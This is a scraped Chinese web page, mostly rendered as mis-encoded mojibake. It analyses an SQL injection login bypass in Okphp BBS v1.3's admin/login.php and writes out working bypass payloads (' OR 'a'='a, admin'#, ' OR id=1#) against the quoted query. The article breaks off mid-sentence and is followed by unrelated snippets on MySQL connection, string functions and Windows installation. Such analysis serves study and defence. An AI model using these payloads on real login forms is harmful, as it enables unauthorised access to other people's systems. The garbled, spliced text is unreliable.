¹¥»÷·½·¨£ºÌ¸php+mysql×¢ÉäÓï¾ä¹¹Ôì
Ò».ǰÑÔ£º
¡¡¡¡°æ±¾ÐÅÏ¢£ºOkphp BBS v1.3 ¿ªÔ´°æ
¡¡¡¡ÏÂÔØµØÖ·£ºhttp://www.cncode.com/SoftView.asp?SoftID=1800
¡¡¡¡ÓÉÓÚPHPºÍMYSQL±¾ÉíµÃÔÒò,PHP+MYSQLµÄ×¢ÉäÒª±ÈaspÀ§ÄÑ£¬ÓÈÆäÊÇ×¢ÉäʱÓï¾äµÄ¹¹Ôì·½Ãæ¸üÊǸöÄѵ㣬±¾ÎÄÖ÷ÒªÊǽè¶ÔOkphp BBS v1.3һЩÎļþµÃ¼òµ¥·ÖÎö£¬À´Ì¸Ì¸php+mysql×¢ÉäÓï¾ä¹¹Ô췽ʽ£¬Ï£Íû±¾ÎĶÔÄãÓеã°ïÖú¡£
¡¡¡¡ÉùÃ÷£ºÎÄÕÂËùÓÐÌáµ½µÄ“©¶´”£¬¶¼Ã»Óо¹ý²âÊÔ£¬¿ÉÄܸù±¾²»´æÔÚ£¬ÆäʵÓÐûÓЩ¶´²¢²»ÖØÒª£¬ÖØÒªµÄÊÇ·ÖÎö˼·ºÍÓï¾ä¹¹Ôì¡£
¡¡¡¡¶þ.“©¶´”·ÖÎö£º
¡¡¡¡1.admin/login.php×¢Éäµ¼ÖÂÈÆ¹ýÉí·ÝÑé֤©¶´£º
¡¡¡¡´úÂ룺
¡¡¡¡$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
¡¡¡¡$password = md5($password);
¡¡¡¡$q = "select id,group_id from $user_table where username='$username' and password='$password'";
¡¡¡¡$res = sql_query($q,$conn);
¡¡¡¡$row = sql_fetch_row($res);
¡¡¡¡$q = "select id,group_id from $user_table where username='$username' and password='$password'"ÖÐ
¡¡¡¡$username ºÍ $password û¹ýÂË£¬ ºÜÈÝÒ×¾ÍÈÆ¹ý¡£
¡¡¡¡¶ÔÓÚselect * from $user_table where username='$username' and password='$password'ÕâÑùµÄÓï¾ä¸ÄÔìµÄ·½·¨ÓУº
¡¡¡¡¹¹Ôì1(ÀûÓÃÂß¼ÔËËã)£º$username=' OR 'a'='a $password=' OR 'a'='a
¡¡¡¡Ï൱ÓÚsqlÓï¾ä£º
¡¡¡¡select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
¡¡¡¡¹¹Ôì2(ÀûÓÃmysqlÀïµÄ×¢ÊÍÓï¾ä# £¬/* °Ñ$password×¢Ê͵ô)£º$username=admin'#(»òadmin'/*)
¡¡¡¡¼´£º
¡¡¡¡select * from $user_table where username='admin'#' and password='$password'"
¡¡¡¡Ï൱ÓÚ£º
¡¡¡¡select * from $user_table where username='admin'
¡¡¡¡ÔÚadmin/login.phpÖÐ$qÓï¾äÖеÄ$passwordÔÚ²éѯǰ½øÐÐÁËmd5¼ÓÃÜËùÒÔ²»¿ÉÒÔÓù¹Ôì1ÖеÄÓï¾äÈÆ¹ý¡£ÕâÀïÎÒÃÇÓù¹Ôì2£º
¡¡¡¡select id,group_id from $user_table where username='admin'#' and password='$password'"
¡¡¡¡Ï൱ÓÚ£º
¡¡¡¡select id,group_id from $user_table where username='admin'
¡¡¡¡Ö»Òª´æÔÚÓû§ÃûΪadminµÄ¾Í³ÉÁ¢£¬Èç¹û²»ÖªµÀÓû§Ãû£¬Ö»ÖªµÀ¶ÔÓ¦µÄid£¬
¡¡¡¡ÎÒÃǾͿÉÒÔÕâÑù¹¹Ô죺$username=' OR id=1#
¡¡¡¡Ï൱ÓÚ£º
¡¡¡¡select id,group_id from $user_table where username='' OR id=1# and password='$password'(#ºóµÄ±»×
Ïà¹ØÎĵµ£º
Ò»¡¢Á¬½ÓMYSQL¡£
¸ñʽ£º mysql -hÖ÷»úµØÖ· -uÓû§Ãû £pÓû§ÃÜÂë
1¡¢Á¬½Óµ½±¾»úÉϵÄMYSQL¡£
Ê×ÏÈ´ò¿ªDOS´°¿Ú£¬È»ºó½øÈëĿ¼mysql\bin£¬ÔÙ¼üÈëÃüÁîmysql -u root -p£¬»Ø³µºóÌáʾÄãÊäÃÜÂë.×¢ÒâÓû§Ãûǰ¿ÉÒÔÓпոñÒ²¿ÉÒÔûÓпոñ£¬µ«ÊÇÃÜÂëǰ±ØÐëûÓпոñ£¬·ñÔòÈÃÄãÖØÐÂÊäÈëÃÜÂë.
Èç¹û¸Õ°²×°ºÃMYSQL£¬³¬¼¶Óû§rootÊÇûÓÐÃÜ ......
MySQL ×Ö·û´®½ØÈ¡º¯Êý£ºleft(), right(), substring(), substring_index()¡£»¹ÓÐ mid(), substr()¡£ÆäÖУ¬mid(), substr() µÈ¼ÛÓÚ substring() º¯Êý£¬substring() µÄ¹¦Äܷdz£Ç¿´óºÍÁé»î¡£
1. ×Ö·û´®½ØÈ¡£ºleft(str, length)
mysql> select left('sqlstudy.com', 3);+-------------------------+| left('sqlstudy.com', 3) | ......
¸öÈËÀͶ¯£¬»¹Çë×ðÖØ£¬ÈçÈô×ªÔØÇë×¢Ã÷³ö´¦¡£iihero@CSDN
¿´µ½ÓÐЩÅóÓÑÀÏÎÊÕâ¸ö·Ç°²×°°æÓë°²×°°æÓÐÊ²Ã´Çø±ð£¨µ±È»ÊÇwindowsƽ̨)
¸É´àдÁËÒ»¸ö½Å±¾×Ô¶¯ÎªÆä´´½¨mysql5·þÎñ¡£
½Å±¾ÈçÏ£¬½«Æä·Åµ½½âѹÒÔºóµÄĿ¼Àï±ßÖ´Ðм´¿É¡£
@echo off
echo "This is a demo script for auto installation of noninstall version o ......
ÎҵĻ·¾³£º
ÔÓÐÒ»mysql5.0ʵÀý£¬ÏÖа²×°Ò»mysql5.1£¬²¢½«ÐµÄ5.1ʵÀýµÄÊý¾Ý·¾¶·ÅÔÚÁíһĿ¼¡£
mysql5.1µÄmy.iniÈçÏÂ
£¨ÅäÖÃmy.iniµÄ²Î¿¼×ÊÁÏ£º
http://dev.mysql.com/doc/refman/5.1/en/option-files.html
http://downloads.mysql.com/docs/mysql-windows-excerpt-5.1-en.pdf
http://dev.mysql.com/doc/refman/5.0 ......